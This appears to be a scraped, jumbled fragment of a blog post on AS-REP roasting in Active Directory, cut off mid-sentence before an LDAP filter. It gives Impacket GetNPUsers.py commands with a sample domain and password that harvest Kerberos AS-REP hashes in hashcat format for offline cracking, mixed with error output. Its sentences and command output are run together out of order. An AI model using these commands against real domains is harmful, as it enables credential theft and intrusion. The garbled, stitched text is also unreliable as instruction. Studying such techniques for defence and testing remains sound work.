Name MemberOf PasswordLastSet LastLogon UAC Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos cat python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast User triceratops doesn't have UF_DONT_REQUIRE_PREAUTH set User trex doesn't have UF_DONT_REQUIRE_PREAUTH set The following commands allow to use a given username list or query to obtain a list of users by providing domain credentials: python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast The script GetNPUsers.py can be used from a Linux machine in order to harvest the non-preauth AS_REP responses. Parameter samAccountType allows to request user accounts only, without including computer accounts, and userAccountControl filters by Kerberos pre-authentication in this case. In order to retrieve user accounts without Kerberos pre-authentication, the following LDAP filter can be used: (
0 Comments
Leave a Reply. |